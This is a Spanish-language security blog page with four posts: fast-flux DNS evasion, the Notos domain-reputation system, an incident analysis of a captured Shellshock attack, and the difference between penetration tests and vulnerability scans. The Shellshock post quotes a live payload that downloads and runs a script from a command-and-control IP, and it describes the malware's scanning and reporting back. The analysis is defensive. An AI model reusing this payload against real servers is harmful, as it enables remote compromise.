Ads 468x60px

27 de abril de 2015

Fast Flux: Escóndete tras el DNS



Aprovechar el servicio DNS para esconder acciones delictivas y así evitar ser descubierto es una práctica que cada vez está mas en auge por los delincuentes informáticos. Al igual que un defraudador utiliza un conjunto de empresas fantasmas y un testaferro para estafar al fisco enviando dinero a un paraíso fiscal, un ciberdelincuente puede utilizar la técnica de Fast Flux para esconder sus “servicios” ilícitos tras un conjunto de dominios de DNS, que con la ayuda de algún mulero puede igualmente obtener el retorno de la acción perpetrada.

Fast Flux es una técnica que utiliza el servicio DNS y un conjunto de equipos zombie pertenecientes a una botnet que actúan como servidores proxy inversos para esconder el tráfico ilegítimo de actividades como phishing, malware o pederastia. Para ello los delincuentes registran un dominio con datos falsos, y por supuesto con tarjeta de crédito robada, en registradores de dominio donde no se pone mucha atención a la identidad del registrador, como por ejemplo en TLDs .info o .hk. Posteriormente configuran varios registros A en el dominio, con IP pertenecientes a equipos zombie de una botnet, que de manera dinámica son sustituidos periódicamente por otros registros A, es decir otros equipos zombie, para dificultar la traza del tráfico ilegítimo. Además, para aumentar su eficiencia bajan el tiempo TTL del dominio a un par de minutos para asegurarse que los demás servidores de DNS no cachean sus nombres, y así se garantiza que las víctimas siempre van a realizar las consultas DNS al servidor raíz del dominio que alojará el servidor de C&C, web de phishing,etc.

A continuación podemos ver a la izquierda el flujo de tráfico normal de una petición web y a la derecha el flujo de tráfico de una petición web a una red Fast-Flux. Como podemos apreciar en la imagen de la derecha, el equipo cliente nunca va a saber realmente qué equipo es el que aloja realmente la web.

 
Si analizamos la configuración DNS que se presenta a continuación podremos ver que el dominio wildcard.malaga-53.com tiene asociado cinco registros A. Con lo cual, el servidor DNS devolverá las cinco IPs ante una petición DNS a ese nombre, y el sistema operativo del cliente utilizará una de ellas para acceder al recurso realizando balanceo de DNS. Si además el atacante cambia los registros A cada cinco minutos, la aleatoriedad de las conexiones y la trazabilidad de la conexión es mucho más difícil de realizar.


Si comprobamos la resolución inversa de las IPs asociadas al dominio wilcard.malaga-53.com podemos ver que se corresponde con equipos pertenecientes a líneas adsl o ppp, y que probablemente sean equipos infectados pertenecientes a una botnet.


Por otro lado, para hacer aún más complicada la trazabilidad existe el Double-Flux. Esta técnica consiste en añadir otro servidor de DNS al escenario, de tal manera que una petición al dominio afectado nos redirigirá a otro servidor de DNS aleatorio, que éste a su vez nos lleva a un equipo infectado, que hará de proxy inverso para acceder al C&C, web de phishing, etc.

 
Como podemos ver, los delincuentes a parte de delinquir son ingeniosos aprovechando y buscando nuevas técnicas de evasión y ofuscación. En fin … todos los días hay algo nuevo que aprender.

Un saludo amigos y recuerda, lo primero que te venga a la cabeza ¡escríbelo en un comentario!

20 de abril de 2015

Notos: Sistema de Reputación Dinámico



Las plataformas AntiSpam hacen uso de sistemas de reputación desde hace años, analizando y catalogando cada servidor de correo para situar aquellos servidores que no cumplan una serie de requisitos dentro de sus listas negras de generación de Spam. Esta filosofía y forma de trabajar se ha trasladado a los sistemas de seguridad perimetral como cortafuegos, además de los sistemas de correlación de eventos como SIEM. Mediante estas listas de reputación, formadas por IPs y dominios, los equipos pueden tomar decisiones de bloqueo de tráfico ante sospechas de que una determinada web aloja malware o una IP en concreto se dedica a realizar ataques o enviar Spam.

Muchas veces nos habremos preguntado cómo los fabricantes pueden mantener y actualizar estas listas enormes de IPs y dominios clasificadas por su reputación. Lógicamente no es una tarea sencilla diseñar un sistema que realice esta clasificación de manera automática, sin embargo Manos Antonakakis y su equipo de investigación del Instituto de Georgia han diseñado un sistema de reputación dinámico llamado Notos, utilizando una base de datos pasiva de DNS alimentada por las consultas que hacemos a los servidores de DNS.

Diseño del Sistema Notos

El sistema Notos obtiene tres grupos de características de cada dominio alojado en la base de datos:
  • Características basándonos en la red: Comprueba el número de IPs asociadas a un dominio y el número de dominios asociadas a una IP, también tiene en cuenta la localización geográfica y el sistema autónomo donde reside el dominio, así como también los prefijos BGP y el registrador del dominio. De esta manera puede detectar anomalías sobre una IP que tenga muchos dominios diferentes asociados de distintos registradores o incluso puede detectar dominios con comportamiento sospechoso si éste continuamente se traslada de un Sistema Autónomo a otro. 
     
  • Características basándonos en la zona: Comprueba la longitud del dominio, el número de TLDs y subdominios, y el número de veces que se repite una palabra o letra. Por ejemplo, google.com, googlesyndication.com, googlewave.com, etc son dominios pertenecientes a Google que contienen la cadena de texto “google”.

  • Características basándonos en evidencias: Comprueba el número de veces que un equipo infectado ha contactado con el dominio o IP analizada. Para ello utiliza honeypot y listas negras ya predefinidas.

Características del Sistema Notos

Una vez analizado el dominio, el sistema Notos envía toda esta información al motor de reputación encargado de asignar el valor de reputación al dominio. El motor de reputación se divide en dos modos:
  • Modo off-line: Consiste en un proceso de entrenamiento utilizando una base de conocimiento. Para ello hace uso de dominios populares como google.com, yahoo.com, amazon.com, etc. También utiliza el Top 500 que proporciona Alexa.com y la lista blanca DNSWL, así como también dominios de Akamai, de otros proveedores de contenidos CDN y de dominios de DNS dinámicos como no-ip.com. Para este proceso de entrenamiento del motor también aprovecha las listas negras malwaredomainlist.com, malwaredomains.com, la lista de Spamhaus y Zeus Tracker.
  • Modo on-line asigna un valor entre 0 y 1 de reputación al dominio analizado, utilizando el proceso de entrenamiento y el resultado de las características obtenidas sobre el dominio.

    Modos del motor de reputación

Según el equipo de investigación, este sistema tiene un 96,8% de acierto en la detección de dominios maliciosos. En cualquier caso estamos ante un estudio de investigación que nos ayuda a entender y conocer la inteligencia y funcionamiento de los sistemas de reputación dinámicos, que junto con Collective Intelligence Framework como el OTX de Alienvault nos mantiene un poco más seguro en la red.

Un saludo amigos y recuerda, lo primero que te venga a la cabeza ¡escríbelo en un comentario!

13 de abril de 2015

Análisis de ataque web



Desde el servicio de monitorización y alerta de Ariolo muchas veces tenemos que analizar los ataques para comprobar si realmente se trata de un falso positivo o por el contrario de un ataque que puede haber aprovechado una vulnerabilidad y comprometido el servidor. Además, mediante este servicio de respuesta a incidentes podemos recomendar y ayudar a nuestros clientes a proteger sus servicios, así como también ofrecer una rápida respuesta al ciber ataque.

Uno de los ataques que no paramos de observar es el intento de hacerse con los servidores webs mediante la vulnerabilidad de Shellshock que afecta a equipos Linux. A continuación podemos ver cómo la sonda Ariolo ha detectado un intento de ataque al servidor web, debido a que la cabecera HTTP contiene comandos para que sean ejecutados por el servidor:

Alarma de Ataque Web

Si analizamos el paquete TCP con Wireshark podemos observar que el atributo User-Agent de la cabecera HTTP no se corresponde con Internet Explorer, Mozilla, etc sino más bien con un conjunto de comandos para que sean ejecutados por el servicio web.

Análisis Wireshark de la Alarma

Concretamente la cadena que contiene el atributo User-Agent es la siguiente:

() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /tmp;cd /var/tmp;rm -rf .c.txt;rm -rf .d.txt ; wget http://109.228.25.87/.c.txt ; curl -O http://109.228.25.87/.c.txt ; fetch http://109.228.25.87/.c.txt ; lwp-download http://109.228.25.87/.c.txt; chmod +x .c.txt* ; sh .c.txt* \");'

Donde podemos observar el ataque shellshock, que de ser satisfactorio se encargará de limpiar los archivos temporales para actualizar o descargar desde 109.228.25.87 el nuevo script .c.txt, que se mantendrá oculto en la estructura de ficheros.

Si descargamos y analizamos el fichero .c.txt podemos ver que el siguiente paso es matar los procesos que probablemente estuviese utilizando la máquina si estuviera infectada por este “malware”. A continuación descarga el archivo cc.tar desde 109.228.25.87, lo descomprime y ejecuta el fichero llamado r.

Script .c.txt

La labor principal del script r es preparar una clase que contendrá una lista de ficheros y que será pasada por parámetro al script start. Por la extensión del script r no voy a mostrarlo por completo, pero para que os hagáis una idea la clase es class="xaa xab xac … yyz”.

Script r

El script start recibe por parámetro el nombre del fichero que tiene que descargarse desde http://109.228.25.87/.ips-80. Posteriormente comprueba si la máquina comprometida es de 64 o 32 bits para comenzar a realizar escaneos webs de las IPs que aparecen en el fichero descargado y de las carpetas que se indican en el fichero patch.

Script start

Como podemos ver en la lista de directorios del fichero patch, los directorios analizados se corresponden con cgi-bin y php para conocer qué otras máquinas son vulnerables a Shellshock.

patch - lista de directorios

Por último, el script start llama al script print que leerá los resultados de los análisis desde el fichero t.log, línea por línea, enviando cada línea mediante la variable i al servidor de control 109.228.25.87. El resultado de los envíos se almacena en el fichero .tmp, oculto en el sistema de ficheros.

Script print

Estamos ante un ataque sencillo de ejecutar y sencillo de analizar que trata de utilizar nuestros recursos para realizar análisis webs. Sin un procedimiento de parcheo periódico y sin herramientas IPS/IDS este pequeño y discreto malware estaría dentro de nuestro servidor web, que ahora está realizando análisis webs pero que después podría ser actualizado para otras funciones como por ejemplo envío de spam.

Un saludo amigos y recuerda, lo primero que te venga a la cabeza ¡escríbelo en un comentario!

6 de abril de 2015

Penetration test & Vulnerability scan



El pasado mes de Marzo el consorcio de seguridad que estandariza la PCI-DSS, con el objetivo de evitar fraudes que involucren tarjetas de pago de débito y crédito, publicó la Guía de Test de Penetración con el fin de que las compañías que procesan, guardan o transmiten datos de tarjetas sigan unas líneas generales y recomendaciones para cumplir el requerimiento 11.3 de Test de Penetración.

Me ha llamado la atención en este suplemento cómo se ha destacado la diferencia que existe entre Test de Penetración y Escáner de Vulnerabilidades, ya que es una comparativa a tener en cuenta cuando se va a contratar un análisis de este tipo, que no nos den gato por liebre, y en definitiva no nos engañen con un Test de Penetración muy barato donde realmente tan solo se ha lanzado un escáner de vulnerabilidades sin haber analizado siquiera cada vulnerabilidad por separado, mostrándonos un informe tal y como lo genera automáticamente la herramienta de escaneo de vulnerabilidades.

En primer lugar un Test de Penetración va a intentar identificar vulnerabilidades para explotarlas, para ello tratará de saltarse todas las medidas de seguridad de los sistemas intermedios, e incluso se aprovechará de malas configuraciones o despistes de los administradores para llegar a su objetivo. Sin embargo, un Escáner de Vulnerabilidades identificará, clasificará y generará un informe con las vulnerabilidades encontradas, sin intentar explotarlas para llegar a una segunda fase u otro fin.

Por otro lado un Test de Penetración normalmente se realiza al menos una vez al año, o tras un cambio significativo en la plataforma, por un hacker con suficiente experiencia en el infraestructura a analizar y con total imparcialidad en el sistema que se va a explotar. Sin embargo, un Escáner de Vulnerabilidades lo puede hacer perfectamente los técnicos que mantienen la plataforma a analizar y debería hacerse al menos cada cuatro meses, o tras un cambio significativo en la plataforma. La diferencia en cuanto a la periodicidad se debe principalmente a la cantidad de nuevas vulnerabilidades que aparecen constantemente, y fundamentalmente a la disparidad del coste del Test de Penetración frente al Escáner de vulnerabilidades, sino podría realizarse perfectamente un Test de Penetración continuo en el tiempo, igual que lo puede hacer cualquier hacker con fines maliciosos.

Si volvemos al coste, veremos que un Test de Penetración es mucho más caro debido a la cantidad de tiempo necesario para realizar el análisis. Mientras que un Test de Vulnerabilidades se puede realizar en minutos dependiendo de la cantidad de equipos a escanear, un Test de Penetración puede llegar a durar semanas dependiendo del entorno a analizar y del alcance del test. Además, la persona encargada de realizar el Test de Penetración debe poseer conocimientos técnicos avanzados de la plataforma a explotar, valorándose certificaciones como OSCP o CEH, mientras que la empresa también debe tener experiencia en este tipo de proyectos basándose en metodologías como OSSTMM o PTES para realizar estos test.

Por último, el informe generado por un Test de Penetración suele ser conciso, donde se identifica claramente qué datos o sistemas fueron comprometidos y cómo se comprometieron, cuáles son las fases que se han seguido, las vulnerabilidades explotadas y las herramientas o scripts desarrollados. Sin embargo, el informe generado por un Test de Vulnerabilidades mostrará una lista de las vulnerabilidades conocidas, categorizadas por riesgo y CVSS, suelen ser informes generados automáticamente por herramientas como Nessus, Retina o GFI LANGuard, que además realizan comparativas con los últimos test realizados.

Un saludo amigos y recuerda, lo primero que te venga a la cabeza ¡escríbelo en un comentario!

Related Posts Plugin for WordPress, Blogger...

Entradas populares